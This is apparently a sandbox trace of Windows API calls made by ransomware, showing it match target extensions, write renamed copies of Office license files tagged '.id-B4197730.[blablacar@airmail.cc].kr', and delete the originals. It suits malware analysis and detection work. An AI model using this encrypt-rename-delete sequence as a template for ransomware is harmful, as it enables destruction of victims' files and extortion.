[0215.464] lstrlenW (lpString=".docx") returned 5 [0215.464] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.464] lstrlenW (lpString=".pdf") returned 4 [0215.464] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.464] lstrlenW (lpString=".xls") returned 4 [0215.464] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.464] lstrlenW (lpString=".xlsx") returned 5 [0215.464] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.464] lstrlenW (lpString=".ppt") returned 4 [0215.464] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms") returned 89 [0215.464] lstrlenW (lpString=".zip") returned 4 [0215.464] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.464] lstrlenW (lpString=".rar") returned 4 [0215.464] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.464] lstrlenW (lpString=".bz2") returned 4 [0215.464] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.464] lstrlenW (lpString=".7z") returned 3 [0215.464] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms") returned 89 [0215.465] lstrlenW (lpString=".dbf") returned 4 [0215.465] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms") returned 89 [0215.465] lstrlenW (lpString=".1cd") returned 4 [0215.465] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms") returned 89 [0215.465] lstrlenW (lpString=".jpg") returned 4 [0215.465] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms") returned 89 [0215.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms") returned 89 [0215.465] lstrlenW (lpString=".doc") returned 4 [0215.465] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.465] lstrlenW (lpString=".docx") returned 5 [0215.465] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.465] lstrlenW (lpString=".pdf") returned 4 [0215.465] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.465] lstrlenW (lpString=".xls") returned 4 [0215.465] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.465] lstrlenW (lpString=".xlsx") returned 5 [0215.465] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.465] lstrlenW (lpString=".ppt") returned 4 [0215.465] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms") returned 89 [0215.465] lstrlenW (lpString=".zip") returned 4 [0215.465] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.465] lstrlenW (lpString=".rar") returned 4 [0215.465] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.465] lstrlenW (lpString=".bz2") returned 4 [0215.465] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.465] lstrlenW (lpString=".7z") returned 3 [0215.465] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms") returned 89 [0215.466] lstrlenW (lpString=".dbf") returned 4 [0215.466] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms") returned 89 [0215.466] lstrlenW (lpString=".1cd") returned 4 [0215.466] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ppd.xrm-ms") returned 89 [0215.466] lstrlenW (lpString=".jpg") returned 4 [0215.466] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.466] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.466] lstrlenW (lpString="ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 42 [0215.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.467] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11650) returned 1 [0215.467] CloseHandle (hObject=0x568) returned 1 [0215.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0215.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.467] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.467] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0215.468] GetLastError () returned 0x0 [0215.468] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d82, lpOverlapped=0x0) returned 1 [0215.742] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d90, lpOverlapped=0x0) returned 1 [0215.743] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0215.743] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x128, lpOverlapped=0x0) returned 1 [0215.744] SetEndOfFile (hFile=0x564) returned 1 [0215.744] CloseHandle (hObject=0x564) returned 1 [0215.744] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.744] SetEndOfFile (hFile=0x568) returned 1 [0215.749] CloseHandle (hObject=0x568) returned 1 [0215.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subscription-ul-oob.xrm-ms")) returned 1 [0215.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 92 [0215.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 92 [0215.750] lstrlenW (lpString=".doc") returned 4 [0215.751] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.751] lstrlenW (lpString=".docx") returned 5 [0215.751] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.751] lstrlenW (lpString=".pdf") returned 4 [0215.751] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.751] lstrlenW (lpString=".xls") returned 4 [0215.751] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.751] lstrlenW (lpString=".xlsx") returned 5 [0215.751] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.751] lstrlenW (lpString=".ppt") returned 4 [0215.751] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 92 [0215.751] lstrlenW (lpString=".zip") returned 4 [0215.751] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.751] lstrlenW (lpString=".rar") returned 4 [0215.751] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.751] lstrlenW (lpString=".bz2") returned 4 [0215.751] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.751] lstrlenW (lpString=".7z") returned 3 [0215.751] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 92 [0215.751] lstrlenW (lpString=".dbf") returned 4 [0215.751] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 92 [0215.751] lstrlenW (lpString=".1cd") returned 4 [0215.751] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 92 [0215.751] lstrlenW (lpString=".jpg") returned 4 [0215.751] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 92 [0215.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 92 [0215.751] lstrlenW (lpString=".doc") returned 4 [0215.751] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.751] lstrlenW (lpString=".docx") returned 5 [0215.752] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.752] lstrlenW (lpString=".pdf") returned 4 [0215.752] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.752] lstrlenW (lpString=".xls") returned 4 [0215.752] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.752] lstrlenW (lpString=".xlsx") returned 5 [0215.752] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.752] lstrlenW (lpString=".ppt") returned 4 [0215.752] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 92 [0215.752] lstrlenW (lpString=".zip") returned 4 [0215.752] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.752] lstrlenW (lpString=".rar") returned 4 [0215.752] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.752] lstrlenW (lpString=".bz2") returned 4 [0215.752] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.752] lstrlenW (lpString=".7z") returned 3 [0215.752] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 92 [0215.752] lstrlenW (lpString=".dbf") returned 4 [0215.752] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 92 [0215.752] lstrlenW (lpString=".1cd") returned 4 [0215.752] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_Subscription-ul-oob.xrm-ms") returned 92 [0215.752] lstrlenW (lpString=".jpg") returned 4 [0215.752] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.752] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.752] lstrlenW (lpString="ProjectProR_OEM_Perp-ppd.xrm-ms") returned 31 [0215.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.753] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20852) returned 1 [0215.753] CloseHandle (hObject=0x568) returned 1 [0215.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ppd.xrm-ms")) returned 0x220 [0215.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.754] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.754] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0215.755] GetLastError () returned 0x0 [0215.755] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5174, lpOverlapped=0x0) returned 1 [0215.757] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5180, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5180, lpOverlapped=0x0) returned 1 [0215.758] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0215.759] WriteFile (in: hFile=0x564, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x112, lpOverlapped=0x0) returned 1 [0215.759] SetEndOfFile (hFile=0x564) returned 1 [0215.759] CloseHandle (hObject=0x564) returned 1 [0215.759] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.759] SetEndOfFile (hFile=0x568) returned 1 [0215.802] CloseHandle (hObject=0x568) returned 1 [0215.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ppd.xrm-ms")) returned 1 [0215.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms") returned 81 [0215.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms") returned 81 [0215.803] lstrlenW (lpString=".doc") returned 4 [0215.803] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.803] lstrlenW (lpString=".docx") returned 5 [0215.803] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.803] lstrlenW (lpString=".pdf") returned 4 [0215.803] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.803] lstrlenW (lpString=".xls") returned 4 [0215.804] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.804] lstrlenW (lpString=".xlsx") returned 5 [0215.804] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.804] lstrlenW (lpString=".ppt") returned 4 [0215.804] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms") returned 81 [0215.804] lstrlenW (lpString=".zip") returned 4 [0215.804] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.804] lstrlenW (lpString=".rar") returned 4 [0215.804] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.804] lstrlenW (lpString=".bz2") returned 4 [0215.804] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.804] lstrlenW (lpString=".7z") returned 3 [0215.804] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms") returned 81 [0215.804] lstrlenW (lpString=".dbf") returned 4 [0215.804] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms") returned 81 [0215.804] lstrlenW (lpString=".1cd") returned 4 [0215.804] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms") returned 81 [0215.804] lstrlenW (lpString=".jpg") returned 4 [0215.804] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms") returned 81 [0215.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms") returned 81 [0215.804] lstrlenW (lpString=".doc") returned 4 [0215.804] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.804] lstrlenW (lpString=".docx") returned 5 [0215.804] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.804] lstrlenW (lpString=".pdf") returned 4 [0215.804] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.804] lstrlenW (lpString=".xls") returned 4 [0215.804] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.805] lstrlenW (lpString=".xlsx") returned 5 [0215.805] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.805] lstrlenW (lpString=".ppt") returned 4 [0215.805] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms") returned 81 [0215.805] lstrlenW (lpString=".zip") returned 4 [0215.805] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.805] lstrlenW (lpString=".rar") returned 4 [0215.805] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.805] lstrlenW (lpString=".bz2") returned 4 [0215.805] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.805] lstrlenW (lpString=".7z") returned 3 [0215.805] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms") returned 81 [0215.805] lstrlenW (lpString=".dbf") returned 4 [0215.805] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms") returned 81 [0215.805] lstrlenW (lpString=".1cd") returned 4 [0215.805] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ppd.xrm-ms") returned 81 [0215.805] lstrlenW (lpString=".jpg") returned 4 [0215.805] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.805] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.805] lstrlenW (lpString="ProjectProR_Retail-pl.xrm-ms") returned 28 [0215.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.806] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=10647) returned 1 [0215.806] CloseHandle (hObject=0x568) returned 1 [0215.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-pl.xrm-ms")) returned 0x220 [0215.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0215.807] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.807] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0215.808] GetLastError () returned 0x0 [0215.808] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2997, lpOverlapped=0x0) returned 1 [0215.809] WriteFile (in: hFile=0x51c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x29a0, lpOverlapped=0x0) returned 1 [0215.810] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0215.810] WriteFile (in: hFile=0x51c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10c, lpOverlapped=0x0) returned 1 [0215.811] SetEndOfFile (hFile=0x51c) returned 1 [0215.811] CloseHandle (hObject=0x51c) returned 1 [0215.811] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0215.811] SetEndOfFile (hFile=0x568) returned 1 [0215.816] CloseHandle (hObject=0x568) returned 1 [0215.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.816] 